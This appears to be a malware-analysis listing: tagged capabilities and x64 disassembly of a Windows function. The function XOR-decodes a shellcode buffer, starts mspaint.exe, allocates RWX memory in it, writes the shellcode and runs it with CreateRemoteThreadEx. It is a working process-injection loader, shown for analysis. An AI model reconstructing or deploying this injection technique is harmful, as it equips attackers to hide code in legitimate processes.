Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x70]
xor esi, esi
lea rcx, [0x140003360]
mov r8d, 1
mov rax, qword [rcx + 0xa0]
mov r9d, 2
movups xmm0, xmmword [rcx]
mov r10d, 3
mov r11d, 4
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x60], xmm0
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x80], xmm1
movups xmmword [rdx + 0x90], xmm0
mov qword [rdx + 0xa0], rax
movzx eax, word [rcx + 0xa8]
movups xmm0, xmmword [0x140003410]
mov word [rdx + 0xa8], ax
mov edx, esi
movzx eax, byte [0x140003420]
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x70]
sub r8, rax
lea rax, [rsp + 0x70]
sub r9, rax
lea rax, [rsp + 0x70]
sub r10, rax
lea rax, [rsp + 0x70]
sub r11, rax
movups xmmword [rsp + 0x58], xmm0
nop dword [rax]
mov rax, rdx
lea rcx, [rsp + 0x70]
and eax, 0xf
add rcx, rdx
add rdx, 5
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx], al
lea rax, [rcx + r8]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 1], al
lea rax, [rcx + r9]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 2], al
lea rax, [rcx + r10]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 3], al
lea rax, [rcx + r11]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 4], al
cmp rdx, 0xaa
jb 0x140001170
mov ecx, 0x68
call fcn.140001420
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
lea ecx, [rax + 0x18]
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
call fcn.140001420
mov rdi, rax
lea rcx, str.C:WindowsSystem32mspaint.exe
mov qword [rsp + 0x48], rdi
xorps xmm0, xmm0
mov qword [rsp + 0x40], rbx
xor eax, eax
mov qword [rsp + 0x38], rsi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
movups xmmword [rdi], xmm0
mov dword [rsp + 0x28], 0x4000
xor edx, edx
mov dword [rsp + 0x20], esi
mov qword [rdi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400013a7
lea rcx, str.success_
call fcn.140001010
mov r8d, dword [rdi + 0x14]
lea rcx, str.___pid___ld_tid___ld
mov edx, dword [rdi + 0x10]
call fcn.140001010
mov ebx, dword [rdi + 0x10]
xor edx, edx
mov r8d, ebx
mov dword [rsp + 0x50], esi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400012a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebx
lea rcx, str.____failed_to_open_process__ld__d
mov r8d, eax
call fcn.140001010
jmp 0x1400013bb
mov edx, ebx
lea rcx, str.___Obtained_Handle_to_pid___d_n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xaa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, 0xaa
lea rcx, str.___Allocated__d_bytes_in_vmem_n
mov rbx, rax
call fcn.140001010
mov r9d, 0xaa
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, 0xaa
lea rcx, str.___Wrote__d_bytes_in_vmem_n
call fcn.140001010
lea rax, [rsp + 0x50]
mov r9, rbx
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], esi
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbx, rax
test rax, rax
jne 0x140001367
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_create_thread__error___d
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013bb
mov edx, dword [rsp + 0x50]
lea rcx, str.___Created_Remote_Thread_with_tid___ld_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Cleaning_up_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400013c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ld_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140001400
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret